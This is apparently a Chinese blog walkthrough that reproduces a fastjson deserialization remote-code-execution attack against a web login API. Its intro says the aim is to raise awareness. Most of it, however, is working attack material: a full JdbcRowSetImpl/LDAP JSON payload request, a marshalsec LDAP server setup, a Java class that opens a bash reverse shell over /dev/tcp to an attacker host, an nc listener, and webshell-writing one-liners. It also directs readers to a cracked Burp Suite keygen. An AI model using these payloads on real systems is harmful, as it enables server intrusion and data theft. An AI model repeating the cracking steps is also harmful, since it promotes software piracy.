记录一次fastjson序列化漏洞的攻击的完整复现
前言
开发过程中经常会引用各种第三方jar包,但是第三方jar包常常包含漏洞,很多黑客是可以通过这些漏洞免验证入侵服务器的。该文目的是为了引导各位同行的重视和研究,避免自己错误的引入包含漏洞的jar包,避免被黑客入侵服务器,泄露重要数据,使公司财产遭受损失。
1.下载抓包工具
https://portswigger.net/burp/releases/download?product=pro&version=2021.5.1&type=WindowsX64
2.工具破解(注册机+破解包)
使用阿里云盘下载 https://www.alipan.com/s/87Lnm1SwNRd
使用方法
双机打开burp-loader-keygen.jar注册机
==在放置目录下执行==
java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v1.7.37.jar
使用Manual activation激活方式
3.环境准备
为了验证服务确实执行了远程指令使用网站 http://www.dnslog.cn/ 获取子域名,这一步是为了验证是否通过程序注入的形式ping了一次这个子域名,如果子域名有ping的记录说明程序注入指令成功了,既然能执行ping的指令,那么其他指令。。。
4.打开要验证的网址(该管理系统使用了有漏洞的fastjson)
账号密码随便输入,打开F12查看登录api
可直接用抓包工具配置代理直接获取报文
5.无漏洞实验(以另外一个改良后没有fastjson的程序为例)
刷新后无记录说明服务器并没有执行恶意代码
6.回弹shell
为了方便后续自己的指令操作,所以回弹一个shell供自己方便的输入后续指令操作。
1.下载工具 Netcat
windows 下载
https://eternallybored.org/misc/netcat/
centeos 下载
yum install nc -y
2.必要条件 公网ip和可访问的三个端口
# 监测端口是否开放
for i in {18080,80,19999};do timeout 0.5 bash -c "echo >/dev/tcp/148.70.41.161/$i" && echo "$i ************************open************************" || echo "$i closed";done
80 web服务器端口
18080 nc监听端口
19999 ldar转发端口
3.回弹shell java内容
公网ip记得改自己的可以操作的服务器ip
# 创建Shell.java 内容如下
import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell{
public Shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/公网ip/18080;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
# 将该文件编译为Shell.class
javac Shell.java
将Shell.class 放入web服务器使其当做静态资源映射出来
4.启动LDAP监听
开源地址 https://github.com/mbechler/marshalsec.git
打包编译即可
mvn clean package -DskipTests
# 引号内容为公网可供访问的Shell 因为我这里使用的是nginx并配置了的ssl证书,所以才是如下所示,正常为ip:端口 Shell为上面步骤的文件名称
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "https://www.allbs.cn/#Shell" 19999
5.启动nc监听
nc -lnvp 18080
6.发送报文内容
还是以第一个有fastjson漏洞的程序为例
下面的ip、port换成需要进行测试的网站ip和端口,公网ip是自己放Exploit的服务器ip,name和x中的内容并不是不变的,==这个需要根据漏洞不同选择响应的注入形式,这下面只是根据fastjson一个较低版本进行举例说明,具体内容请自行参悟。==
POST /common/login HTTP/1.1
Host: {ip}:{port}
Content-Length: 306
Accept: application/json, text/javascript, */*; q=0.01
Authorization: null
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Content-Type: application/json
Origin: http://{ip}:{port1}
Referer: http://{ip}:{port1}/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://公网ip:19999/Exploit",
"autoCommit":true
}
}
报文发送后内容如下
自己的可以访问的服务器上放置的可弹shell的java程序 Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c","cd $(find -name \"manifest.json\" -type f -exec dirname {} \\; | sed 1q) && echo `pwd` > 1.txt"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do
}
}
}
7.无法回弹的情况下写webshell
linux 使用的bash
// 进入test.html的根目录并执行id命令写入1.txt
cd $(find -name "manifest.json" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt
windows使用的powerShell
$file = Get-ChildItem -Path . -Filter manifest.json -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f
burp 抓包配置(这种方式可以使用burp内置的浏览器来操作,更方便)
下载chrome插件falcon-proxy
https://chrome.google.com/webstore/detail/falcon-proxy/gchhimlnjdafdlkojbffdkogjhhkdepf?hl=zh-CN
抓包内容